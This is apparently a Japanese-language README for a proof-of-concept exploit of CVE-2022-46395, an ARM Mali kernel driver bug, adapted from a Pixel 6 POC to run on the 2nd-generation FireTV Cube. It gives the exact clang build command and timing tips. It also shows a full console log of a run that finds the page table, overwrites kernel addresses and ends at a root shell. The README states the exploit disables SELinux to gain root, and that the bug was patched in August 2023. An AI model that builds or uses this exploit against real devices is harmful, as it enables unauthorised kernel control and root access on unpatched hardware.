FireTV 第2世代 Cube で実行する CVE-2022-46395 のエクスプロイト

これは、セキュリティ研究者である Man Yue Mo 氏による CVE-2022-46395 のPixel 6 POCのフォークです。脆弱性の詳細な解説はこちらで読めます。FireOS の32ビット・ユーザースペースに対応するための変更が加えられています。この POC は ARM Mali カーネルドライバーのバグを悪用して任意のカーネルコード実行を達成し、それを利用して SELinux を無効化し root を取得します。

このエクスプロイトは PS7652/3564（2023年8月下旬）でパッチされました。参考までに、ndk-21 の clang でコンパイルするために使用されたコマンドは以下のとおりです。

android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/armv7a-linux-androideabi28-clang -DSHELL mali_user_buf.c mempool_utils.c mem_write.c -o raven_buf

最速の結果を得るには、再起動直後に実行してください。平均すると、POC が root を取得するまでに2〜5分かかります。

raven:/ $ /data/local/tmp/raven_buf
Amazon/raven/raven:9/PS7646.3565N/0028085972224:user/amz-p,release-keys
benchmark_time 138
failed after 100
finished reset: 342278966 fault: 338143633 195 err 0 read 3
failed to find pgd, retry
finished reset: 731402639 fault: 724605931 208 err 0 read 3
failed to find pgd, retry
finished reset: 67309348 fault: 66434848 210 err 0 read 3
failed to find pgd, retry
failed after 200
failed after 300
benchmark_time 135
failed after 400
failed after 500
failed after 600
benchmark_time 131
failed after 700
finish reset: 797174916 fault: 788811083 352 err 0 read 3
found pgd at page 6
overwrite addr : 104100634 634
overwrite addr : 104300634 634
overwrite addr : 1041001d0 1d0
overwrite addr : 1043001d0 1d0
result 50
raven:/ #

CVE_2022_46395_Raven

人気